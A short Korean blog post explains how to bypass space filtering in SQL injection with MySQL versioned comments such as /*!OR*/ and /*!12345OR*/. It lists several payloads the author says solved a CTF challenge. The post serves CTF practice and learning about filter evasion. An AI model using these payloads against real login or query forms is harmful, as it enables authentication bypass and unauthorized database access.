티스토리 뷰
SQL Injection 공백을 우회할 수 있는 방법 중에 한 가지.
SELECT id,pw FROM user WHERE id='admin' AND pw='admin' OR '1'='1';
위와 같은 Query를 실행할 경우 붉은색으로 표시된 부분에 공백을 사용하지 못할 경우
SELECT id,pw FROM user WHERE id='admin' AND pw='admin'/*!OR*/'1'='1';
SELECT id,pw FROM user WHERE id='admin' AND pw='admin'/*!12345OR*/'1'='1';
다음과 같이 사용할 수 있다.
CTF에서 사용한 예제
(문제 의도와는 다르게 풀어서 주최측에서 이메일로 연락이 오기도 했지만...)
=1'/*!12345OR*/'1'='1
=1'/*!OR*/'1
=1'/*!50546OR*/'1
(50546보다 숫자가 클 경우 실패)
=1'/*!^*/'1
=1'/*!50546^*/'1
'Programming > SQL' 카테고리의 다른 글
[Oracle] 에러 코드 (0) | 2016.03.20 |
---|---|
[MySQL] Database 백업 및 복원 (0) | 2016.01.20 |
[Oracle] Catalog (0) | 2015.11.14 |
[MySQL] ORDER BY 절을 이용한 다양한 방법 (0) | 2015.08.11 |
[MySQL] WHERE 조건절을 이용한 다양한 방법 (0) | 2015.08.06 |
[MySQL] PADSPACE - trailing spaces (0) | 2015.07.03 |
[MySQL] User 생성 및 삭제 (권한 관리) (0) | 2015.05.12 |
댓글